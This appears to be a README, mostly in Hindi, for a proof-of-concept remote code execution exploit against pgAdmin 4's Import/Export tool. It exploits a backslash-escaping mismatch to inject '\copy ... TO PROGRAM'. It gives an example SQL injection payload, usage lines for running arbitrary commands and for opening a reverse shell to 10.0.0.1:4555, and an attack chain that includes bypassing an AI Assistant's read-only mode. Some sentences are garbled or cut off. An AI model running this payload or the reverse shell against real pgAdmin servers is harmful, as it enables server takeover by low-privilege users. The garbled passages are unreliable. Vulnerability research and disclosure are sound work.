
pgAdmin 4 आयात/निर्यात RCE (CVE-2026-17566) PoC - बैकस्लैश-एस्केप बेमेल के माध्यम से TO प्रोग्राम इंजेक्शन
pgAdmin 4 Import/Export Data टूल के लिए रिमोट कोड एक्ज़ीक्यूशन (RCE) PoC। यह _is_query_parens_balanced() ब्रैकेट जाँचकर्ता और psql के बैकस्लैश एस्केप सिमेंटिक्स में अंतर का फायदा उठाकर \copy ... TO PROGRAM इंजेक्ट करता है, जिससे pgAdmin चलाने वाले सर्वर पर मनमाना कमांड निष्पादित होता है।
पृष्ठभूमि अटैक चेन: CVE-2026-17349 (Workspaces क्रेडेंशियल लीक) → CVE-2026-17351 (AI Assistant रीड-ओनली बाईपास) → यह भेद्यता (RCE)। तीनों के लिए केवल निम्न-विशेषाधिकार वाला प्रमाणित उपयोगकर्ता ही पर्याप्त है।
Import/Export Data टूल उपयोगकर्ता के SQL को Jinja टेम्पलेट में डालकर psql \copy (...) कमांड बनाता है। हाथ से लिखा गया ब्रैकेट संतुलन जाँचकर्ता हमेशा \' को एस्केप किया हुआ कोट मानता है (यह केवल तभी सही है जब standard_conforming_strings=off हो); जबकि PostgreSQL डिफ़ॉल्ट standard_conforming_strings=on होने पर, , जिससे कोट सीधे बंद हो जाता है।
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
जाँचकर्ता सोचता है कि ) अभी भी स्ट्रिंग के अंदर है → ब्रैकेट "संतुलित" माना जाता है; psql a\' पर स्ट्रिंग बंद करता है, ) से \copy (...) का आवरण समाप्त होता है, और TO PROGRAM 'cmd' एक सक्रिय निर्देश बन जाता है, जिसे psql की popen() निष्पादित करती है।
_is_query_parens_balanced() के शुरू होने से); फिक्स commit 1496fabeTO PROGRAM इंजेक्शन, समान परिवार)tools_import_export_data अनुमति के साथ)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
| पैरामीटर | विवरण |
|---|---|
--url | pgAdmin का आधार URL |
--user / --password (या PGADMIN_PASSWORD) | निम्न-विशेषाधिकार खाता |
--command | मनमाना कमांड (सिंगल कोट शामिल नहीं हो सकता) |
--reverse HOST:PORT | bash रिवर्स शेल उत्पन्न करता है |
--server-id | सर्वर ID (डिफ़ॉल्ट: पहला सर्वर स्वतः चुना जाता है) |
--file | एक्सपोर्ट फ़ाइल नाम (\copy कमांड बनाने के लिए, डिफ़ॉल्ट /tmp/pgadmin_export.csv) |
--no-verify | TLS प्रमाणपत्र सत्यापन छोड़ें |
प्रक्रिया: लॉगिन (CSRF/session स्वतः संभाला जाता है) → सर्वर एन्यूमरेशन → POST /import_export/job/<sid> के माध्यम से तैयार is_query_export अनुरोध सबमिट करें।
यह केवल सुरक्षा अनुसंधान, भेद्यता सत्यापन और रक्षात्मक परीक्षण के लिए है। यह स्क्रिप्ट सार्वजनिक तकनीकी विश्लेषण के आधार पर लिखी गई है और वास्तविक मशीन पर सत्यापित नहीं की गई है, अनुरोध फ़ील्ड को लक्षित pgAdmin संस्करण के अनुसार थोड़ा समायोजित करने की आवश्यकता हो सकती है। कृपया इसे केवल अधिकृत परीक्षण वातावरण में चलाएँ, अनधिकृत सिस्टम पर उपयोग न करें।